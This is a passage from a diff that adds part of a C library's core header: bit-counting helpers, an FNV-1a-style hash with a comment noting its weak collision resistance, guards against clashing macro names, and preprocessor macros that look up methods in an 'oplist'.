+  shift  = shift*8 + 24;
+  shift = 24 - shift + (unsigned int) M_CORE_CLZ_TAB[limb >> shift ];
+  return shift;
+}
+
+M_INLINE unsigned int m_core_clz64(uint64_t limb)
+{
+  unsigned int shift = 0;
+  /* This code should be branchless on most targets */
+  /* Compute shift so that, it is
+     + -7 if the highest 56 bits are clear,
+     + -6 for the highest 48 bits,
+     + -5 for the highest 40 bits,
+     + -4 for the highest 32 bits,
+     + -3 for the highest 24 bits,
+     + -2 for the highest 16 bits,
+     + -1 for the highest 8 bits,
+     + 0 otherwise */
+  shift = -(unsigned) (limb < 0x100000000000000UL);
+  shift -= (limb < 0x1000000000000UL);
+  shift -= (limb < 0x10000000000UL);
+  shift -= (limb < 0x100000000UL);
+  shift -= (limb < 0x1000000UL);
+  shift -= (limb < 0x10000UL);
+  shift -= (limb < 0x100UL);
+  shift  = shift*8 + 56;
+  shift = 56 - shift + (unsigned int) M_CORE_CLZ_TAB[limb >> shift ];
+  return shift;
+}
+
+/* See algorithm ctz5 that uses de Bruijn sequences to construct a minimal perfect hash function (32 bits) */
+#define M_CORE_CTZ_TAB "\000\001\034\002\035\016\030\003\036\026\024\017\031\021\004\010\037\033\015\027\025\023\020\007\032\014\022\006\013\005\012\011"
+
+M_INLINE unsigned int m_core_ctz32(uint32_t limb)
+{
+  if (limb == 0) { return 32; }
+  return (unsigned int) M_CORE_CTZ_TAB[ ( (uint32_t) (limb & -limb) * 0x077CB531) >> 27];
+}
+
+M_INLINE unsigned int m_core_ctz64(uint64_t limb)
+{
+  unsigned int shift = 0;
+  if ((limb & 0x0FFFFFFFFull) == 0) { shift = 32; limb >>= 32; }
+  if (limb == 0) { return 32+shift; }
+  return shift + (unsigned int) M_CORE_CTZ_TAB[ ( (uint32_t) (limb & -limb) * 0x077CB531) >> 27];
+}
+
+#endif
+
+/* Implement a kind of FNV1A Hash.
+   Inspired by http://www.sanmayce.com/Fastest_Hash/ Jesteress and port to 64 bits.
+   See https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function#FNV-1a_hash
+   The buffer given as argument shall be aligned:
+   - to 8 (resp. 4) if size is greater than 8 on 64 bits (resp. 4 on 32 bits),
+   - to the power of 2 just lower or equal to its size otherwise.
+   NOTE: A lot of cast. Not really type nor alignement safe.
+   NOTE: Can be reduced to very few instructions if constant size argument.
+   FIXME: It is trivial for an attacker to generate collision and HASH_SEED doesn't prevent it.
+ */
+#if SIZE_MAX <= 4294967295U
+/* 32 bits variant with an average measured avalanche effect of 16.056 bits */
+M_INLINE uint32_t
+m_core_hash (const void *str, size_t length)
+{
+  const uint32_t prime = 709607U;
+  uint32_t hash32 = 2166136261U ^ M_USE_HASH_SEED;
+  const uint8_t *p = (const uint8_t *)str;
+
+  M_ASSERT (str != NULL || length == 0);
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint32_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint16_t)-1) ) == 0) || (length <= sizeof(uint16_t)));
+
+  // Main loop that handles 64 bits at a time.
+  while (length >= 2*sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ (m_core_rotl32a(ptr[0], 5) ^ ptr[1])) * prime;
+    length -= 2*sizeof(uint32_t);
+    p += 2*sizeof(uint32_t);
+  }
+  // Cases: 0,1,2,3,4,5,6,7
+  if (length & sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ ptr[0]) * prime;
+    p += sizeof(uint32_t);
+    }
+  if (length & sizeof(uint16_t)) {
+    const uint16_t *ptr = (const uint16_t *) (uintptr_t) p;
+    hash32 = (hash32 ^ ptr[0]) * prime;
+    p += sizeof(uint16_t);
+  }
+  if (length & 1)
+    hash32 = (hash32 ^ *p) * prime;
+  return hash32 ^ (hash32 >> 16);
+}
+#else
+/* 64 bits variant with an average measured avalanche effect of 31.862 bits */
+M_INLINE uint64_t
+m_core_hash (const void *str, size_t length)
+{
+  const uint64_t prime = 1099511628211ULL;
+  uint64_t hash64 = 14695981039346656037ULL ^ M_USE_HASH_SEED;
+  const uint8_t *p = M_ASSIGN_CAST(const uint8_t *, str);
+
+  M_ASSERT (str != NULL || length == 0);
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint64_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint32_t)-1) ) == 0) || (length <= sizeof(uint32_t)));
+  M_ASSERT ( (( (uintptr_t)p & (sizeof(uint16_t)-1) ) == 0) || (length <= sizeof(uint16_t)));
+
+  // Main loop that handles 128 bits at a time.
+  while (length >= 2*sizeof(uint64_t)) {
+    const uint64_t *ptr = (const uint64_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ (m_core_rotl64a(ptr[0], 5) ^ ptr[1])) * prime;
+    length -= 2*sizeof(uint64_t);
+    p += 2*sizeof(uint64_t);
+  }
+  //Cases: 0 to 15.
+  if (length & sizeof(uint64_t)) {
+    const uint64_t *ptr = (const uint64_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint64_t);
+    }
+  // Cases: 0,1,2,3,4,5,6,7
+  if (length & sizeof(uint32_t)) {
+    const uint32_t *ptr = (const uint32_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint32_t);
+    }
+  if (length & sizeof(uint16_t)) {
+    const uint16_t *ptr = (const uint16_t *) (uintptr_t) p;
+    hash64 = (hash64 ^ ptr[0]) * prime;
+    p += sizeof(uint16_t);
+  }
+  if (length & 1)
+    hash64 = (hash64 ^ *p) * prime;
+  return hash64 ^ (hash64 >> 32);
+}
+#endif
+
+/* HASH function for a C-string (to be used within oplist)
+ * We cannot use m_core_hash due to the alignment constraint,
+ * and it avoids computing the size before computing the hash.
+ */
+M_INLINE size_t m_core_cstr_hash(const char str[])
+{
+  M_HASH_DECL(hash);
+  while (*str) {
+    unsigned long u = (unsigned char) *str++;
+    M_HASH_UP(hash, u);
+  }
+  return M_HASH_FINAL(hash);
+}
+
+
+/* Define default HASH function.
+   Macro encapsulation for C11: use specialized version of the hash function
+   if the type is recognized.
+   NOTE: Default case is not safe if the type is defined with the '[1]' trick. */
+#define M_HASH_POD_DEFAULT(a)   m_core_hash((const void*) &(a), sizeof (a))
+#if defined(__STDC_VERSION__) && __STDC_VERSION__ >= 201112L
+#define M_HASH_INT32(a) ( (a) ^ ((a) << 11) ^ M_USE_HASH_SEED )
+#define M_HASH_INT64(a) ( ( (a) >> 33 ) ^ (a) ^ ((a) << 11) ^ M_USE_HASH_SEED )
+#define M_HASH_DEFAULT(a)                                                     \
+  (size_t) _Generic((a)+0,                                                    \
+           int32_t:  M_HASH_INT32((uint32_t) M_AS_TYPE(int32_t, a)),          \
+           uint32_t: M_HASH_INT32(M_AS_TYPE(uint32_t, a)),                    \
+           int64_t:  M_HASH_INT64((uint64_t) M_AS_TYPE(int64_t, a)),          \
+           uint64_t: M_HASH_INT64(M_AS_TYPE(uint64_t, a)),                    \
+           default:  M_HASH_POD_DEFAULT(a) )
+#else
+#define M_HASH_DEFAULT(a)       M_HASH_POD_DEFAULT(a)
+#endif
+
+
+
+/************************************************************/
+/******************** METHODS handling **********************/
+/************************************************************/
+
+#ifndef M_USE_UNDEF_OPLIST_TERMS
+#define M_USE_UNDEF_OPLIST_TERMS 0
+#endif
+
+#if M_USE_UNDEF_OPLIST_TERMS
+#undef INIT
+#undef INIT_SET
+#undef INIT_MOVE
+#undef INIT_WITH
+#undef SET
+#undef MOVE
+#undef SWAP
+#undef CLEAR
+#undef HASH
+#undef EQUAL
+#undef CMP
+#undef TYPE
+#undef SUBTYPE
+#undef SUBTYPE_PTR
+#undef GENTYPE
+#undef NAME
+#undef FIELD
+#undef OPLIST
+#undef SORT
+#undef SPLICE_BACK
+#undef SPLICE_AT
+#undef IT_TYPE
+#undef IT_FIRST
+#undef IT_LAST
+#undef IT_END
+#undef IT_SET
+#undef IT_END_P
+#undef IT_LAST_P
+#undef IT_EQUAL_P
+#undef IT_NEXT
+#undef IT_PREVIOUS
+#undef IT_REF
+#undef IT_CREF
+#undef IT_REMOVE
+#undef IT_INSERT
+#undef EMPTY_P
+#undef FULL_P
+#undef ADD
+#undef SUB
+#undef MUL
+#undef DIV
+#undef RESET
+#undef KEY_TYPE
+#undef VALUE_TYPE
+#undef KEY_OPLIST
+#undef VALUE_OPLIST
+#undef GET_KEY
+#undef SET_KEY
+#undef SAFE_GET_KEY
+#undef ERASE_KEY
+#undef GET_SIZE
+#undef PUSH
+#undef POP
+#undef PUSH_MOVE
+#undef POP_MOVE
+#undef REVERSE
+#undef GET_STR
+#undef PARSE_STR
+#undef OUT_STR
+#undef IN_STR
+#undef OUT_SERIAL
+#undef IN_SERIAL
+#undef SEPARATOR
+#undef EXT_ALGO
+#undef INC_ALLOC
+#undef OOR_SET
+#undef OOR_EQUAL
+#undef PROPERTIES
+#undef EMPLACE_TYPE
+#undef NEW
+#undef DEL
+#undef REALLOC
+#undef FREE
+#undef SIZE
+#undef CONTEXT
+#undef POLICY
+#else
+#ifdef INIT
+#error "INIT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_SET
+#error "INIT_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_MOVE
+#error "INIT_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INIT_WITH
+#error "INIT_WITH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SET
+#error "SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef MOVE
+#error "MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SWAP
+#error "SWAP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CLEAR
+#error "CLEAR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef HASH
+#error "HASH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EQUAL
+#error "EQUAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CMP
+#error "CMP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef TYPE
+#error "TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUBTYPE
+#error "SUBTYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUBTYPE_PTR
+#error "SUBTYPE_PTR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GENTYPE
+#error "GENTYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef NAME
+#error "NAME is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FIELD
+#error "FIELD is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OPLIST
+#error "OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SORT
+#error "SORT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SPLICE_BACK
+#error "SPLICE_BACK is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SPLICE_AT
+#error "SPLICE_AT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_TYPE
+#error "IT_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_FIRST
+#error "IT_FIRST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_LAST
+#error "IT_LAST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_END
+#error "IT_END is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_SET
+#error "IT_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_END_P
+#error "IT_END_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_LAST_P
+#error "IT_LAST_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_EQUAL_P
+#error "IT_EQUAL_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_NEXT
+#error "IT_NEXT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_PREVIOUS
+#error "IT_PREVIOUS is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_REF
+#error "IT_REF is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_CREF
+#error "IT_CREF is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_REMOVE
+#error "IT_REMOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IT_INSERT
+#error "IT_INSERT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EMPTY_P
+#error "EMPTY_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FULL_P
+#error "FULL_P is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef ADD
+#error "ADD is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SUB
+#error "SUB is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef MUL
+#error "MUL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef DIV
+#error "DIV is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef RESET
+#error "RESET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef KEY_TYPE
+#error "KEY_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef VALUE_TYPE
+#error "VALUE_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef KEY_OPLIST
+#error "KEY_OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef VALUE_OPLIST
+#error "VALUE_OPLIST is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_KEY
+#error "GET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SET_KEY
+#error "SET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SAFE_GET_KEY
+#error "SAFE_GET_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef ERASE_KEY
+#error "ERASE_KEY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_SIZE
+#error "GET_SIZE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PUSH
+#error "PUSH is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POP
+#error "POP is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PUSH_MOVE
+#error "PUSH_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POP_MOVE
+#error "POP_MOVE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef REVERSE
+#error "REVERSE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef GET_STR
+#error "GET_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PARSE_STR
+#error "PARSE_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OUT_STR
+#error "OUT_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IN_STR
+#error "IN_STR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OUT_SERIAL
+#error "OUT_SERIAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef IN_SERIAL
+#error "IN_SERIAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SEPARATOR
+#error "SEPARATOR is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EXT_ALGO
+#error "EXT_ALGO is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef INC_ALLOC
+#error "INC_ALLOC is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OOR_SET
+#error "OOR_SET is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef OOR_EQUAL
+#error "OOR_EQUAL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef PROPERTIES
+#error "PROPERTIES is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef EMPLACE_TYPE
+#error "EMPLACE_TYPE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef NEW
+#error "NEW is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef DEL
+#error "DEL is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef REALLOC
+#error "REALLOC is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef FREE
+#error "FREE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef SIZE
+#error "SIZE is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef CONTEXT
+#error "CONTEXT is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#ifdef POLICY
+#error "POLICY is defined, it conflicts with the M*LIB OPLIST system, undefine it before including M*LIB headers"
+#endif
+#endif /* M_USE_UNDEF_OPLIST_TERMS */
+
+
+/* Helper internal macros to make M_GET_METHOD works.
+   List of supported methods for an oplist */
+#define M_X_INIT_INIT(a)           ,a,
+#define M_X_INIT_SET_INIT_SET(a)   ,a,
+#define M_X_INIT_MOVE_INIT_MOVE(a) ,a,
+#define M_X_INIT_WITH_INIT_WITH(a) ,a,
+#define M_X_SWAP_SWAP(a)           ,a,
+#define M_X_SET_SET(a)             ,a,
+#define M_X_MOVE_MOVE(a)           ,a,
+#define M_X_CLEAR_CLEAR(a)         ,a,
+#define M_X_HASH_HASH(a)           ,a,
+#define M_X_EQUAL_EQUAL(a)         ,a,
+#define M_X_CMP_CMP(a)             ,a,
+#define M_X_TYPE_TYPE(a)           ,a,
+#define M_X_SUBTYPE_SUBTYPE(a)     ,a,
+#define M_X_GENTYPE_GENTYPE(a)     ,a,
+#define M_X_SUBTYPE_PTR_SUBTYPE_PTR(a) ,a,
+#define M_X_NAME_NAME(a)           ,a,
+#define M_X_FIELD_FIELD(a)         ,a,
+#define M_X_OPLIST_OPLIST(a)       ,a,
+#define M_X_SORT_SORT(a)           ,a,
+#define M_X_SPLICE_BACK_SPLICE_BACK(a) ,a,
+#define M_X_SPLICE_AT_SPLICE_AT(a) ,a,
+#define M_X_IT_TYPE_IT_TYPE(a)     ,a,
+#define M_X_IT_FIRST_IT_FIRST(a)   ,a,
+#define M_X_IT_LAST_IT_LAST(a)     ,a,
+#define M_X_IT_END_IT_END(a)       ,a,
+#define M_X_IT_SET_IT_SET(a)       ,a,
+#define M_X_IT_END_P_IT_END_P(a)   ,a,
+#define M_X_IT_LAST_P_IT_LAST_P(a) ,a,
+#define M_X_IT_EQUAL_P_IT_EQUAL_P(a) ,a,
+#define M_X_IT_NEXT_IT_NEXT(a)     ,a,
+#define M_X_IT_PREVIOUS_IT_PREVIOUS(a)     ,a,
+#define M_X_IT_REF_IT_REF(a)       ,a,
+#define M_X_IT_CREF_IT_CREF(a)     ,a,
+#define M_X_IT_REMOVE_IT_REMOVE(a) ,a,
+#define M_X_IT_INSERT_IT_INSERT(a) ,a,
+#define M_X_EMPTY_P_EMPTY_P(a)     ,a,
+#define M_X_FULL_P_FULL_P(a)       ,a,
+#define M_X_ADD_ADD(a)             ,a,
+#define M_X_SUB_SUB(a)             ,a,
+#define M_X_MUL_MUL(a)             ,a,
+#define M_X_DIV_DIV(a)             ,a,
+#define M_X_RESET_RESET(a)         ,a,
+#define M_X_KEY_TYPE_KEY_TYPE(a)   ,a,
+#define M_X_VALUE_TYPE_VALUE_TYPE(a) ,a,
+#define M_X_KEY_OPLIST_KEY_OPLIST(a) ,a,
+#define M_X_VALUE_OPLIST_VALUE_OPLIST(a) ,a,
+#define M_X_GET_KEY_GET_KEY(a)     ,a,
+#define M_X_SET_KEY_SET_KEY(a)     ,a,
+#define M_X_SAFE_GET_KEY_SAFE_GET_KEY(a) ,a,
+#define M_X_ERASE_KEY_ERASE_KEY(a) ,a,
+#define M_X_GET_SIZE_GET_SIZE(a)   ,a,
+#define M_X_PUSH_PUSH(a)           ,a,
+#define M_X_POP_POP(a)             ,a,
+#define M_X_PUSH_MOVE_PUSH_MOVE(a) ,a,
+#define M_X_POP_MOVE_POP_MOVE(a)   ,a,
+#define M_X_REVERSE_REVERSE(a)     ,a,
+#define M_X_GET_STR_GET_STR(a)     ,a,
+#define M_X_PARSE_STR_PARSE_STR(a) ,a,
+#define M_X_OUT_STR_OUT_STR(a)     ,a,
+#define M_X_IN_STR_IN_STR(a)       ,a,
+#define M_X_OUT_SERIAL_OUT_SERIAL(a) ,a,
+#define M_X_IN_SERIAL_IN_SERIAL(a) ,a,
+#define M_X_SEPARATOR_SEPARATOR(a) ,a,
+#define M_X_EXT_ALGO_EXT_ALGO(a)   ,a,
+#define M_X_INC_ALLOC_INC_ALLOC(a) ,a,
+#define M_X_OOR_SET_OOR_SET(a)     ,a,
+#define M_X_OOR_EQUAL_OOR_EQUAL(a) ,a,
+#define M_X_LIMITS_LIMITS(a)       ,a,
+#define M_X_PROPERTIES_PROPERTIES(a) ,a,
+#define M_X_EMPLACE_TYPE_EMPLACE_TYPE(a) ,a,
+// As attribute customization
+#define M_X_NEW_NEW(a)             ,a,
+#define M_X_DEL_DEL(a)             ,a,
+#define M_X_REALLOC_REALLOC(a)     ,a,
+#define M_X_FREE_FREE(a)           ,a,
+#define M_X_SIZE_SIZE(a)           ,a,
+#define M_X_CONTEXT_CONTEXT(a)     ,a,
+#define M_X_POLICY_POLICY(a)       ,a,
+// As properties only
+#define M_X_LET_AS_INIT_WITH_LET_AS_INIT_WITH(a) ,a,
+#define M_X_NOCLEAR_NOCLEAR(a)     ,a,
+#define M_X_THREADSAFE_THREADSAFE(a)     ,a,
+
+/* From an oplist - an unorded list of methods : like "INIT(mpz_init),CLEAR(mpz_clear),SET(mpz_set)" -
+   Return the given method in the oplist or the default method.
+   Example:
+   M_GET_METHOD(INIT, my_default, INIT(mpz_init),CLEAR(mpz_clear),SET(mpz_set)) --> mpz_init
+   M_GET_METHOD(INIT, my_default, CLEAR(mpz_clear),SET(mpz_set)) --> my_default */
+#define M_GET_METHOD(method, method_default, ...)                             \
+  M_RET_ARG2 (M_MAP2B(M_C, M_C3(M_X_, method, _), __VA_ARGS__), method_default,)
+
+/* Get the given method */
+#define M_GET_INIT(...)      M_GET_METHOD(INIT,        M_INIT_DEFAULT,     __VA_ARGS__)
+#define M_GET_INIT_SET(...)  M_GET_METHOD(INIT_SET,    M_SET_DEFAULT,      __VA_ARGS__)
+#define M_GET_INIT_MOVE(...) M_GET_METHOD(INIT_MOVE,   M_SET_DEFAULT,     __VA_ARGS__)
+#define M_GET_INIT_WITH(...) M_GET_METHOD(INIT_WITH,   M_NO_DEF_INIT_WITH, __VA_ARGS__)
+#define M_GET_SET(...)       M_GET_METHOD(SET,         M_SET_DEFAULT,      __VA_ARGS__)
+#define M_GET_MOVE(...)      M_GET_METHOD(MOVE,        M_NO_DEF_MOVE,      __VA_ARGS__)
+#define M_GET_SWAP(...)      M_GET_METHOD(SWAP,        M_NO_DEF_SWAP,      __VA_ARGS__)
+#define M_GET_CLEAR(...)     M_GET_METHOD(CLEAR,       M_NOTHING_DEFAULT,  __VA_ARGS__)
+#define M_GET_HASH(...)      M_GET_METHOD(HASH,        M_NO_DEF_HASH,      __VA_ARGS__)
+#define M_GET_EQUAL(...)     M_GET_METHOD(EQUAL,       M_EQUAL_DEFAULT,    __VA_ARGS__)
+#define M_GET_CMP(...)       M_GET_METHOD(CMP,         M_CMP_DEFAULT,      __VA_ARGS__)
+#define M_GET_TYPE(...)      M_GET_METHOD(TYPE,        M_NO_DEF_TYPE,      __VA_ARGS__)
+#define M_GET_SUBTYPE(...)   M_GET_METHOD(SUBTYPE,     M_NO_DEF_SUBTYPE,      __VA_ARGS__)
+#define M_GET_SUBTYPE_PTR(...) M_GET_METHOD(SUBTYPE_PTR, M_NO_DEF_SUBTYPE_PTR, __VA_ARGS__)
+#define M_GET_GENTYPE(...)   M_GET_METHOD(GENTYPE,     M_NO_DEF_GENTYPE,   __VA_ARGS__)
+#define M_GET_NAME(...)      M_GET_METHOD(NAME,        M_NO_DEF_NAME,      __VA_ARGS__)
+#define M_GET_FIELD(...)     M_GET_METHOD(FIELD,       M_NO_DEF_FIELD,     __VA_ARGS__)
+#define M_GET_OPLIST(...)    M_GET_METHOD(OPLIST,      (),                 __VA_ARGS__)
+#define M_GET_SORT(...)      M_GET_METHOD(SORT,        M_NO_DEF_SORT,      __VA_ARGS__)
+#define M_GET_SPLICE_BACK(...) M_GET_METHOD(SPLICE_BACK, M_NO_DEF_SPLICE_BACK, __VA_ARGS__)
+#define M_GET_SPLICE_AT(...) M_GET_METHOD(SPLICE_AT,   M_NO_DEF_SPLICE_AT, __VA_ARGS__)
+#define M_GET_IT_TYPE(...)   M_GET_METHOD(IT_TYPE,     M_NO_DEF_IT_TYPE,   __VA_ARGS__)
+#define M_GET_IT_FIRST(...)  M_GET_METHOD(IT_FIRST,    M_NO_DEF_IT_FIRST,  __VA_ARGS__)
+#define M_GET_IT_LAST(...)   M_GET_METHOD(IT_LAST,     M_NO_DEF_IT_LAST,   __VA_ARGS__)
+#define M_GET_IT_END(...)    M_GET_METHOD(IT_END,      M_NO_DEF_IT_END,    __VA_ARGS__)
+#define M_GET_IT_SET(...)    M_GET_METHOD(IT_SET,      M_NO_DEF_IT_SET,    __VA_ARGS__)
+#define M_GET_IT_END_P(...)  M_GET_METHOD(IT_END_P,    M_NO_DEF_IT_END_P,  __VA_ARGS__)
+#define M_GET_IT_LAST_P(...) M_GET_METHOD(IT_LAST_P,   M_NO_DEF_IT_LAST_P, __VA_ARGS__)
+#define M_GET_IT_EQUAL_P(...) M_GET_METHOD(IT_EQUAL_P, M_NO_DEF_IT_EQUAL_P,__VA_ARGS__)
+#define M_GET_IT_NEXT(...)   M_GET_METHOD(IT_NEXT,     M_NO_DEF_IT_NEXT,   __VA_ARGS__)
+#define M_GET_IT_PREVIOUS(...) M_GET_METHOD(IT_PREVIOUS, M_NO_DEF_IT_PREVIOUS,__VA_ARGS__)
+#define M_GET_IT_REF(...)    M_GET_METHOD(IT_REF,      M_NO_DEF_IT_REF,    __VA_ARGS__)
+#define M_GET_IT_CREF(...)   M_GET_METHOD(IT_CREF,     M_NO_DEF_IT_CREFT,  __VA_ARGS__)
+#define M_GET_IT_REMOVE(...) M_GET_METHOD(IT_REMOVE,   M_NO_DEF_IT_REMOVE, __VA_ARGS__)
+#define M_GET_IT_INSERT(...) M_GET_METHOD(IT_INSERT,   M_NO_DEF_IT_INSERT, __VA_ARGS__)
+#define M_GET_EMPTY_P(...)   M_GET_METHOD(EMPTY_P,     M_NO_DEF_EMPTY_P,   __VA_ARGS__)
+#define M_GET_FULL_P(...)    M_GET_METHOD(FULL_P,      M_FALSE_DEFAULT,    __VA_ARGS__)
+#define M_GET_ADD(...)       M_GET_METHOD(ADD,         M_ADD_DEFAULT,      __VA_ARGS__)
+#define M_GET_SUB(...)       M_GET_METHOD(SUB,         M_SUB_DEFAULT,      __VA_ARGS__)
+#define M_GET_MUL(...)       M_GET_METHOD(MUL,         M_MUL_DEFAULT,      __VA_ARGS__)
+#define M_GET_DIV(...)       M_GET_METHOD(DIV,         M_DIV_DEFAULT,      __VA_ARGS__)
+#define M_GET_RESET(...)     M_GET_METHOD(RESET,       M_NO_DEF_RESET,     __VA_ARGS__)
